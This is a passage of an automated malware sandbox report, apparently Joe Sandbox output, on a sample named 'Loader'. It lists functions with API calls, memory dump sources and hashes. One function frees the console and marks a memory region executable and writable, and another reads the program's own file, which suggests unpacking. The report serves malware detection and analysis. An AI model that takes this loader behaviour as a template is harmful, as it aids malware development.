Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 1e4acb6ad359a0aa1667c4f04ba3e35b7ba02480c21f0597cd1bbb49ed3d31c0
Instruction ID: 838f8097d48eb42d257acc71b83a4ca3263dfbcc24d53fcfc39d89ab2ff88992
Opcode Fuzzy Hash: 1e4acb6ad359a0aa1667c4f04ba3e35b7ba02480c21f0597cd1bbb49ed3d31c0
Instruction Fuzzy Hash: A661AFB1D04259AFDF11CFB9C884EEFBBB9AF49304F148545E904A7292D736DA01CB60

Function 009444BD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00943E4F,00000000,009388B8,?,00000000,?,00000000), ref: 00944559
GetLastError.KERNEL32(?,00943E4F,00000000,009388B8,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00938674), ref: 0094457F

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 2b1142a417b800e15fc0c7b8a036bc796b0fbae811ec137394d6b3f446565b80
Instruction ID: eab4d3aeb4f78a7635ebe92b70cd132a240d9431c9c1bec5a9a2dd24983acd00
Opcode Fuzzy Hash: 2b1142a417b800e15fc0c7b8a036bc796b0fbae811ec137394d6b3f446565b80
Instruction Fuzzy Hash: AC217175A002199FCF15CF2ADC80AEDB7B9EB48305F1440AAF946D7251DA30DD46CF65

Function 00929290 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00929369
std::_Throw_Cpp_error.LIBCPMT ref: 00929377

Part of subcall function 0092F0C2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00928FEA,0092A490), ref: 0092F0D7

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID:
API String ID: 3666349979-0
Opcode ID: 3bd5c3ccdbf5dd071c00f84317bb2b7f1b7462e91819ef709c4f71a7b02c3f66
Instruction ID: e26930757824ca47739723685bc64c1ce1bcbf1774bd154a89db4106088bb7f4
Opcode Fuzzy Hash: 3bd5c3ccdbf5dd071c00f84317bb2b7f1b7462e91819ef709c4f71a7b02c3f66
Instruction Fuzzy Hash: AB2124B1A00625DBDB10EF64E8427AEBBB4FF48320F104228E4296B3C5D334A905CBD6

Function 0093DB42 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0093DA31,00959388,0000000C), ref: 0093DB8E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0093DA31,00959388,0000000C), ref: 0093DBA0

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: eb643ede6a30c20c17f807f7a0f114194f5416c780365c59f790be8608bb6f1f
Instruction ID: 25d3c94bae58327596af8ac081731767e8761d50fad5c795e9640e8f18c23e89
Opcode Fuzzy Hash: eb643ede6a30c20c17f807f7a0f114194f5416c780365c59f790be8608bb6f1f
Instruction Fuzzy Hash: 1811B9715097514AC7304E3FBCA8A22FAB9A756330F3A0B1AD1B6875F1C634DD86DA40

Function 00921FA0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00921240: _strlen.LIBCMT ref: 009212BA

FreeConsole.KERNELBASE(?,?,?,?,?,009217EF,?,?,?,00000000,?), ref: 00921FD1
VirtualProtect.KERNELBASE(0095A011,00000549,00000040,?), ref: 00922028

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID:
API String ID: 1248733679-0
Opcode ID: 3c26d54ae6a858bea7836b9de89f66bd4faf8e2c65ea1256c55a534e9650d294
Instruction ID: 0daf6215444a9aaeb254be43b40682784e376b3da7a7f9026a0856d9c09d70fe
Opcode Fuzzy Hash: 3c26d54ae6a858bea7836b9de89f66bd4faf8e2c65ea1256c55a534e9650d294
Instruction Fuzzy Hash: FC110671E10218BBDB04ABA6AC03FFF77A4EFD5715F404028F905A72C2EA71695487D5

Function 00935560 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00958E90,0000000C), ref: 00935573
ExitThread.KERNEL32 ref: 0093557A

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: b91f960745d6f0094894ada227210303cb84e914138394cc0320fdc51d0c94da
Instruction ID: d14a9a9778781219591779a49630bf49e5be7139161082617fd003a0c6381498
Opcode Fuzzy Hash: b91f960745d6f0094894ada227210303cb84e914138394cc0320fdc51d0c94da
Instruction Fuzzy Hash: D4F0AF71A406049FDB15ABB0C81AB6E3B75EF84702F204158F015A7262CB34A9419FA1

Function 00922320 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00922338
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0092234C

Part of subcall function 00922060: CreateFileA.KERNELBASE ref: 009220E6
Part of subcall function 00922060: GetFileSize.KERNEL32(00000000,00000000), ref: 009220F6
Part of subcall function 00922060: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0092211B
Part of subcall function 00922060: CloseHandle.KERNELBASE(00000000), ref: 0092212A
Part of subcall function 00922060: _strlen.LIBCMT ref: 0092217D

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: File$HandleModule$CloseCreateNameReadSize_strlen
String ID:
API String ID: 3505371420-0
Opcode ID: 1d69ddb8aaee2f16b91e35c8b001e23110b5b914f05bebb74f903a24c309ccac
Instruction ID: 7697b997bde2b5634aaa2fb01833ef46cdbb7007bba79ec984a973f839df15b7
Opcode Fuzzy Hash: 1d69ddb8aaee2f16b91e35c8b001e23110b5b914f05bebb74f903a24c309ccac
Instruction Fuzzy Hash: E6F0E5B291521067D1216725FC0BFEB3BA8EFC5725F410514F6CA47181D97455458BD3

Function 0093BFC7 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,009403A4,?,00000000,?,?,00940044,?,00000007,?,?,0094098A,?,?), ref: 0093BFDD
GetLastError.KERNEL32(?,?,009403A4,?,00000000,?,?,00940044,?,00000007,?,?,0094098A,?,?), ref: 0093BFE8

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: e2461dc2c4690f4b53006182042ba05d1f2535f809d8ebd8d36c81d982970ae5
Instruction ID: 352570fa719a7554b16c1ba6e265278a2b42d7298800359d506ad76395d990eb
Opcode Fuzzy Hash: e2461dc2c4690f4b53006182042ba05d1f2535f809d8ebd8d36c81d982970ae5
Instruction Fuzzy Hash: BFE08C32109354ABCB212FA6EC08B897B6CDB80792F104020F708971A0CB309840DF90

Function 0092DFE0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0e6c9a01aa1d54164fb7fb10b22ce1d45dcc589de3509be45d4e00793ef89a
Instruction ID: a8da36c5628b973c142293c74dfa3fdf558f51d1e4a87d10da3d73e5fba6a2e8
Opcode Fuzzy Hash: 8d0e6c9a01aa1d54164fb7fb10b22ce1d45dcc589de3509be45d4e00793ef89a
Instruction Fuzzy Hash: 6441BF32A0822AAFCF14DF69D4909EDB7F9FF08310B54012AE402E7654EB71ED56DB90

Function 0092CC30 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb66d8a8dfbc71e3532f2ef9792328ff584a273b8888c4b765b7b8923fdfb13
Instruction ID: 14e3a91140cb9d128f17cd7755459602b48c74e3f97442a09397cebf47a2de62
Opcode Fuzzy Hash: 1fb66d8a8dfbc71e3532f2ef9792328ff584a273b8888c4b765b7b8923fdfb13
Instruction Fuzzy Hash: 463185B291452AAFCF14DF68E8809EDB7B8BF09320B14066AE556E3694D731F944CB90

Function 0092B200 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 0092B164: GetModuleHandleExW.KERNEL32(00000002,00000000,00928BCA,?,?,0092B127,00928BCA,?,0092B0F8,00928BCA,?,?,?), ref: 0092B170

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,F84A4DD6,?,?,?,Function_0002BF84,000000FF), ref: 0092B267

Part of subcall function 0092B09A: std::_Throw_Cpp_error.LIBCPMT ref: 0092B0BB

Part of subcall function 0092F0C2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00928FEA,0092A490), ref: 0092F0D7

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID:
API String ID: 3627539351-0
Opcode ID: 0febbd09b9d8a5560a882be6eec4b6c4bf9c600796ce12db5963a9e00507f73d
Instruction ID: d13b30f86ff9f48121fd40c02e8f2d0b80df2b3e630599ad102dea7b46b77c37
Opcode Fuzzy Hash: 0febbd09b9d8a5560a882be6eec4b6c4bf9c600796ce12db5963a9e00507f73d
Instruction Fuzzy Hash: 8311EB326087209BCB256B66FC11B2E77F8FB85F21F14441AF825976A9CF35D800CB50

Function 0093D0C6 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35bf81e6519ee4ee6c7670322fdaf24870bfdd26d1326c1ec07b656715b15a75
Instruction ID: e95f64ceee985718313a646ede9b6fe5c6bba00dda753065edd6fc188858f47f
Opcode Fuzzy Hash: 35bf81e6519ee4ee6c7670322fdaf24870bfdd26d1326c1ec07b656715b15a75
Instruction Fuzzy Hash: ED01B53322A3259B9B1A8EADFC5095733BAFBC5774B254524F910D7194DF319801AB90

Function 0092CC22 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 76cd51f52d17e1c2ce6584d603da30edf05aee2e0b83195b2d57524cd0ea691f
Instruction ID: c3a685cdcbaf48bb23414868f692038e77819d52440479eea2697f9a2904b2ea
Opcode Fuzzy Hash: 76cd51f52d17e1c2ce6584d603da30edf05aee2e0b83195b2d57524cd0ea691f
Instruction Fuzzy Hash: 6D0144B364C2661FCF09DB38B8246ACBF20FF86334B20416FE092856CACB129855C740

Function 00927910 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00927966

Part of subcall function 0092B104: CloseThreadpoolWork.KERNEL32(?,00000000,?,00927A7A,00000000), ref: 0092B112

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CloseConcurrency::details::_Release_choreThreadpoolWork
String ID:
API String ID: 312417170-0
Opcode ID: e0bc89dd4ecb4bbb306828aaf2cd480838306be113451a8cf7fad132262b1dba
Instruction ID: 1ae075a7db881bdeadef1eb8663917b18413fe1f09d53a60a342b7134099dac0
Opcode Fuzzy Hash: e0bc89dd4ecb4bbb306828aaf2cd480838306be113451a8cf7fad132262b1dba
Instruction Fuzzy Hash: A8014BB1C006599BDB00DF94DC4679EFBB4FB44720F004639E81967341D379AA55CBD2

Function 0093C001 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0093E025,?,?,0093E025,00000220,?,00000000,?), ref: 0093C033

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e8431d1bbd349c33121d7194f73de86d620accb16ac6006e3f40dc69758775eb
Instruction ID: 28cfb4a8b21b722a94e029ea19e5af6bbf23049eacbcff2d7fc1cd52e0c81045
Opcode Fuzzy Hash: e8431d1bbd349c33121d7194f73de86d620accb16ac6006e3f40dc69758775eb
Instruction Fuzzy Hash: B9E06DA1605AA0E6EE396B669C05B6B764C9B81BF0F150160FC09B71D1EF64DC009FA1

Function 00929A90 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00929AAF

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: d836765dddf7b3651e4da67c9173b5139c97e23ef00379a26856d87d4c399ff4
Instruction ID: d561110e73f9d3a9aa6d165237b00abadbb2f8634f3b349e5482944fb528131f
Opcode Fuzzy Hash: d836765dddf7b3651e4da67c9173b5139c97e23ef00379a26856d87d4c399ff4
Instruction Fuzzy Hash: 3DD0A73A7112304F4724BF2AB81486E73A5FFC87313660459E840D7359C724DC0287C0

Non-executed Functions

Function 00947882 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00947A99

Strings

1#INF, xrefs: 009479B8
1#SNAN, xrefs: 0094798E
1#IND, xrefs: 00947987
1#QNAN, xrefs: 00947995

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4e751eaab0236659d662719c85b6debd885b3dabbaf30261513f734efe47ac15
Instruction ID: ffb8edf268f7e14b5055141c2e9fa4e15eadc35a549bc8c27f8a44f02bcb84ae
Opcode Fuzzy Hash: 4e751eaab0236659d662719c85b6debd885b3dabbaf30261513f734efe47ac15
Instruction Fuzzy Hash: F3D22A71E086298FDB65CE28DD40BEEB7B9EB44305F1445EAD40DE7240EB78AE858F41

Function 00941AF7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,009414AD,00000002,00000000,?,?,?,009414AD,?,00000000), ref: 00941B90
GetLocaleInfoW.KERNEL32(?,20001004,009414AD,00000002,00000000,?,?,?,009414AD,?,00000000), ref: 00941BB9
GetACP.KERNEL32(?,?,009414AD,?,00000000), ref: 00941BCE

Strings

ACP, xrefs: 00941B15
OCP, xrefs: 00941B4B

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
